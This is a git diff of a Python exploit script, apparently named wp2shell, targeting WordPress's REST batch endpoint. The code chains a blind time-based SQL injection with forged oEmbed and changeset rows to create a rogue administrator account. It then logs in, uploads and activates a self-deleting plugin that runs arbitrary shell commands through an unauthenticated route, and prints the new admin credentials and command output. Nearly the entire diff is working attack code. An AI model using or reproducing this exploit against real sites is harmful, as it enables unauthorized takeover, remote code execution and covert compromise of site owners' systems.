diff --git a/poc.py b/poc.py index b2aac9f..834ad5d 100644 --- a/poc.py +++ b/poc.py @@ -1,93 +1,476 @@ #!/usr/bin/env python3 +import base64 +import hashlib +import html +import io import json +import re +import secrets import statistics import sys import time import urllib.parse import urllib.request +import uuid +import zipfile +from http.cookiejar import CookieJar -if len(sys.argv) not in (2, 3): - raise SystemExit(f'usage: {sys.argv[0]} BASE_URL ["SELECT ..."]') -url = sys.argv[1].rstrip("/") + "/?rest_route=/batch/v1" - -def probe(condition): - request = urllib.request.Request( - url, - data=json.dumps( - { - "requests": [ - {"method": "POST", "path": "http://:"}, - { - "method": "POST", - "path": "/wp/v2/posts", - "body": { - "requests": [ - {"method": "GET", "path": "http://:"}, - { - "method": "GET", - "path": "/wp/v2/categories?" - + urllib.parse.urlencode( - { - "author_exclude": "SELECT IF((" - + condition - + "),SLEEP(0.15),0)" - } - ), - }, - {"method": "GET", "path": "/wp/v2/posts"}, - ] - }, - }, - {"method": "POST", "path": "/batch/v1"}, - ] - } - ).encode(), - headers={"Content-Type": "application/json"}, - method="POST", - ) - started = time.perf_counter() - with urllib.request.urlopen(request, timeout=10) as response: - response.read() - return time.perf_counter() - started +if ( + len(sys.argv) not in (2, 3, 4) + or (len(sys.argv) == 4 and sys.argv[2] != "-c") + or (len(sys.argv) == 3 and sys.argv[2] == "-c") +): + raise SystemExit(f'usage: {sys.argv[0]} TARGET_URL ["SELECT ..." | -c COMMAND]') +base_url = sys.argv[1].rstrip("/") +batch_url = f"{base_url}/?rest_route=/batch/v1" -fast = statistics.median(probe("1=0") for _ in range(3)) -slow = statistics.median(probe("1=1") for _ in range(3)) -cutoff = (fast + slow) / 2 -if slow - fast < 0.1: - raise SystemExit(f"[-] instance not vulnerable fastest: {fast:.3f}s \nslow: {slow:.3f}s") + +def send_batch(requests, timeout=30): + request = urllib.request.Request( + batch_url, + data=json.dumps( + { + "requests": [ + {"method": "POST", "path": "http://:"}, + { + "method": "POST", + "path": "/wp/v2/posts", + "body": {"requests": requests}, + }, + {"method": "POST", "path": "/batch/v1"}, + ] + } + ).encode(), + headers={"Content-Type": "application/json"}, + method="POST", + ) + with urllib.request.urlopen(request, timeout=timeout) as response: + return response.read() + + + +sleep_delay = 0.4 +def probetime(condition): + started = time.perf_counter() + send_batch( + [ + {"method": "GET", "path": "http://:"}, + { + "method": "GET", + "path": "/wp/v2/categories?" + + urllib.parse.urlencode( + {"author_exclude": f"SELECT IF(({condition}),SLEEP({sleep_delay}),0)"} + ), + }, + {"method": "GET", "path": "/wp/v2/posts"}, + ], + 10, + ) + return time.perf_counter() - started + + + +#desync the batch handlers and push the delay above current jitter +for _ in range(3): + fast_samples = [probetime("1=0") for _ in range(5)] + slow_samples = [probetime("1=1") for _ in range(3)] + fast = statistics.median(fast_samples) + slow = statistics.median(slow_samples) + jitter = statistics.median(abs(sample - fast) for sample in fast_samples) + if slow - fast > max(0.06, jitter * 8): + break + sleep_delay *= 2 +else: + raise SystemExit("[-] not vulnerable") +threshold = (fast + slow) / 2 +retry_band = max(0.02, jitter * 3) if len(sys.argv) == 2: - print(f"[+] instance vulnerable fastest: {fast:.3f}s \nslow: {slow:.3f}s") - raise SystemExit(0) -def yes(condition): - return probe(condition) > cutoff -value = "COALESCE((" + sys.argv[2] + "),'')" -low, high = 0, 64 + print(f"[+] vulnerable: {fast:.3f}s/{slow:.3f}s") + raise SystemExit(0) + +def iscondtrue(condition): + elapsed = probetime(condition) + if abs(elapsed - threshold) > retry_band: + return elapsed > threshold + return statistics.median([elapsed, probetime(condition), probetime(condition)]) > threshold -while low < high: - middle = (low + high + 1) // 2 - if yes("CHAR_LENGTH(" + value + ") >= " + str(middle)): - low = middle - else: - high = middle - 1 +def getscalar(query, max_length): + expression = f"COALESCE(({query}),'')" + lower, upper = 0, max_length -result = "" -for position in range(1, low + 1): - minimum, maximum = 32, 126 - while minimum < maximum: - middle = (minimum + maximum + 1) // 2 - if yes( - "ASCII(SUBSTRING(" - + value - + "," - + str(position) - + ",1)) >= " - + str(middle) - ): - minimum = middle - else: - maximum = middle - 1 - result += chr(minimum) - print(result, flush=True) + while lower < upper: + middle = (lower + upper + 1) // 2 + if iscondtrue(f"CHAR_LENGTH({expression}) >= {middle}"): + lower = middle + else: + upper = middle - 1 + + result = "" + for position in range(1, lower + 1): + lower_byte, upper_byte = 32, 126 + while lower_byte < upper_byte: + middle = (lower_byte + upper_byte + 1) // 2 + if iscondtrue( + f"ASCII(SUBSTRING({expression},{position},1)) >= {middle}" + ): + lower_byte = middle + else: + upper_byte = middle - 1 + result += chr(lower_byte) + + return result + + +def getint(query): + expression = f"COALESCE(({query}),0)" + lower, upper = 0, 1 + + while iscondtrue(f"{expression} >= {upper}"): + lower, upper = upper, upper * 2 + + while lower < upper: + middle = (lower + upper + 1) // 2 + if iscondtrue(f"{expression} >= {middle}"): + lower = middle + else: + upper = middle - 1 + + return lower + + +if sys.argv[2] != "-c": + print(getscalar(sys.argv[2], 64)) + raise SystemExit(0) + + +def sql_hex(value): + return f"0x{value.encode().hex()}" if value else "''" + + +def post_row(post_id, content, title, status, name, parent, post_type): + return ",".join( + ( + str(post_id), + "1", + sql_hex("2020-01-01 00:00:00"), + sql_hex("2020-01-01 00:00:00"), + sql_hex(content), + sql_hex(title), + "''", + sql_hex(status), + sql_hex("closed"), + sql_hex("closed"), + "''", + sql_hex(name), + "''", + "''", + sql_hex("2020-01-01 00:00:00"), + sql_hex("2020-01-01 00:00:00"), + "''", + str(parent), + "''", + "0", + sql_hex(post_type), + "''", + "0", + ) + ) + + +with urllib.request.urlopen( + f"{base_url}/?rest_route=/wp/v2/posts&per_page=1&_fields=link", + timeout=15, +) as response: + published_items = json.loads(response.read()) + +if not published_items or not published_items[0].get("link"): + raise SystemExit("[-] oembed fail") + +#seed 3 oembed posts, so the forged cache objects have database backing. +token = secrets.token_hex(6) +public_post = urllib.parse.urlsplit(published_items[0]["link"]) +embed_urls = [ + urllib.parse.urlunsplit( + ( + public_post.scheme, + public_post.netloc, + public_post.path, + public_post.query, + f"{token}{index}", + ) + ) + for index in range(3) +] + +seed_content = "".join( + f'[embed width="500" height="750"]{embed_url}[/embed]' for embed_url in embed_urls +) +seed_query = ( + "1) AND 1=0 UNION ALL SELECT " + + post_row(0, seed_content, "seed", "publish", "seed", 0, "post") + + " -- -" +) +send_batch( + [ + {"method": "GET", "path": "http://:"}, + { + "method": "GET", + "path": "/wp/v2/widgets?" + + urllib.parse.urlencode( + { + "author_exclude": seed_query, + "per_page": -1, + "orderby": "none", + "context": "view", + } + ), + }, + {"method": "GET", "path": "/wp/v2/posts"}, + ], + 60, +) + +#recover seeded row IDs through blind SQLi +posts_table = getscalar( + "SELECT TABLE_NAME " + "FROM INFORMATION_SCHEMA.TABLES " + "WHERE TABLE_SCHEMA=DATABASE() " + "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 " + "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1", + 64, +) +if not re.fullmatch(r"[A-Za-z0-9_$]+", posts_table): + raise SystemExit("[-] SQL failed") + +table_prefix = posts_table[:-5] +admin_id = getint( + f"SELECT u.ID FROM `{table_prefix}users` u " + f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID " + f"WHERE m.meta_key={sql_hex(table_prefix + 'capabilities')} " + "AND INSTR(m.meta_value," + + sql_hex('s:13:"administrator";b:1;') + + ")>0 " + "ORDER BY u.ID LIMIT 1" +) +if admin_id < 1: + raise SystemExit("[-] admin failed") + +embedsize = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}' +cache_post_ids = [] + +for embed_url in embed_urls: + cache_key = hashlib.md5((embed_url + embedsize).encode()).hexdigest() + cache_post_id = getint( + f"SELECT ID FROM `{posts_table}` " + "WHERE post_type=0x6f656d6265645f6361636865 " + f"AND post_name=0x{cache_key.encode().hex()} " + "ORDER BY ID DESC LIMIT 1", + ) + if cache_post_id < 1: + raise SystemExit("[-] oEmbed failed") + cache_post_ids.append(cache_post_id) + +if len(set(cache_post_ids)) != 3: + raise SystemExit("[-] oEmbed failed") + +username = f"w2s_{token}" +password = f"W2s!{secrets.token_urlsafe(15)}" +email = f"{username}@shellcode.lol" +outer_loop_id = 1800000000 + secrets.randbelow(100000000) +nav_item_id = outer_loop_id + 1 +inner_loop_id = outer_loop_id + 2 + +changeset = json.dumps( + { + f"nav_menu_item[{nav_item_id}]": { + "value": { + "object_id": 0, + "object": "", + "menu_item_parent": 0, + "position": 0, + "type": "custom", + "title": "proof", + "url": "https://github.com/sergiointel/wp2shell-poc", + "target": "", + "attr_title": "", + "description": "proof", + "classes": "", + "xfn": "", + "status": "publish", + "nav_menu_term_id": 0, + "_invalid": False, + }, + "type": "nav_menu_item", + "user_id": admin_id, + } + }, + separators=(",", ":"), +) + +#recast the seeded rows into a changeset, oEmbed trigger, and parse_request hook +poisoned_posts = ( + post_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]', "trigger", "publish", "trigger", 0, "post"), + post_row(cache_post_ids[0], changeset, "changeset", "future", str(uuid.uuid4()), outer_loop_id, "customize_changeset"), + post_row(outer_loop_id, "outer", "outer", "draft", "outer", cache_post_ids[0], "post"), + post_row(cache_post_ids[1], "", "cache", "publish", "cache", cache_post_ids[0], "post"), + post_row(nav_item_id, "nav", "nav", "publish", "nav", cache_post_ids[2], "nav_menu_item"), + post_row(cache_post_ids[2], "parse", "parse", "parse", "parse", inner_loop_id, "request"), + post_row(inner_loop_id, "inner", "inner", "draft", "inner", cache_post_ids[2], "post"), +) +escalation_query = ( + "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(poisoned_posts) + " -- -" +) +new_admin = { + "username": username, + "email": email, + "password": password, + "roles": ["administrator"], +} + +#publish as the extracted admin, then re-enter the same batch, and run user creation +send_batch( + [ + {"method": "GET", "path": "http://:"}, + { + "method": "GET", + "path": "/wp/v2/widgets?" + + urllib.parse.urlencode( + { + "author_exclude": escalation_query, + "per_page": -1, + "orderby": "none", + "context": "view", + } + ), + }, + {"method": "GET", "path": "/wp/v2/posts"}, + {"method": "POST", "path": "/wp/v2/users", "body": new_admin}, + {"method": "POST", "path": "/wp/v2/users", "body": new_admin}, + ], + 60, +) + +session = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar())) +session.open(f"{base_url}/wp-login.php", timeout=15).read() +login_request = urllib.request.Request( + f"{base_url}/wp-login.php", + data=urllib.parse.urlencode( + { + "log": username, + "pwd": password, + "wp-submit": "Log In", + "redirect_to": f"{base_url}/wp-admin/", + "testcookie": "1", + } + ).encode(), + method="POST", +) + +session.open(login_request, timeout=30).read() +with session.open(f"{base_url}/wp-admin/users.php", timeout=30) as response: + users_page = response.read().decode(errors="replace") + +if username not in users_page: + raise SystemExit("[-] admin failed") + +#return command output, and deactivate and unlink +plugin_slug = f"sgio-wp2shell-{token}" +command_route = secrets.token_hex(12) +command_marker = secrets.token_hex(12) +plugin_source = f""" 'POST', + 'permission_callback' => '__return_true', + 'callback' => function ($request) {{ + ob_start(); + passthru(base64_decode($request->get_param('c')) . ' 2>&1'); + $output = ob_get_clean(); + require_once ABSPATH . 'wp-admin/includes/plugin.php'; + deactivate_plugins(plugin_basename(__FILE__), true); + @unlink(__FILE__); + return new WP_REST_Response(array( + 'marker' => '{command_marker}', + 'output' => $output, + )); + }}, + )); +}}); +""".encode() + +plugin_zip = io.BytesIO() +with zipfile.ZipFile(plugin_zip, "w", zipfile.ZIP_DEFLATED) as archive: + archive.writestr(f"{plugin_slug}/{plugin_slug}.php", plugin_source) + +with session.open( + f"{base_url}/wp-admin/plugin-install.php?tab=upload", timeout=30 +) as response: + upload_page = response.read().decode(errors="replace") + +nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page) +if not nonce: + raise SystemExit("[-] plugin failed") + +boundary = f"----wp2shell{secrets.token_hex(12)}" +multipart = b"".join( + ( + ( + f"--{boundary}\r\n" + 'Content-Disposition: form-data; name="_wpnonce"\r\n\r\n' + f"{nonce.group(1)}\r\n" + ).encode(), + ( + f"--{boundary}\r\n" + 'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n' + "/wp-admin/plugin-install.php?tab=upload\r\n" + ).encode(), + ( + f"--{boundary}\r\n" + f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_slug}.zip"\r\n' + "Content-Type: application/zip\r\n\r\n" + ).encode(), + plugin_zip.getvalue(), + f"\r\n--{boundary}--\r\n".encode(), + ) +) +upload_request = urllib.request.Request( + f"{base_url}/wp-admin/update.php?action=upload-plugin", + data=multipart, + headers={"Content-Type": f"multipart/form-data; boundary={boundary}"}, + method="POST", +) + +with session.open(upload_request, timeout=60) as response: + install_page = response.read().decode(errors="replace") + +activation_link = re.search( + r'href="([^"]*plugins\.php\?action=activate[^"]*)"', install_page +) +if not activation_link: + raise SystemExit("[-] plugin failed") + +session.open( + urllib.parse.urljoin( + f"{base_url}/wp-admin/", html.unescape(activation_link.group(1)) + ), + timeout=30, +).read() + +command_request = urllib.request.Request( + f"{base_url}/?rest_route=/wp2shell/v1/{command_route}", + data=json.dumps({"c": base64.b64encode(sys.argv[3].encode()).decode()}).encode(), + headers={"Content-Type": "application/json"}, + method="POST", +) +with urllib.request.urlopen(command_request, timeout=60) as response: + command_result = json.loads(response.read()) + +if command_result.get("marker") != command_marker: + raise SystemExit("[-] command failed") + +print(f"[+] administrator: {username}:{password}") +print(command_result["output"], end="")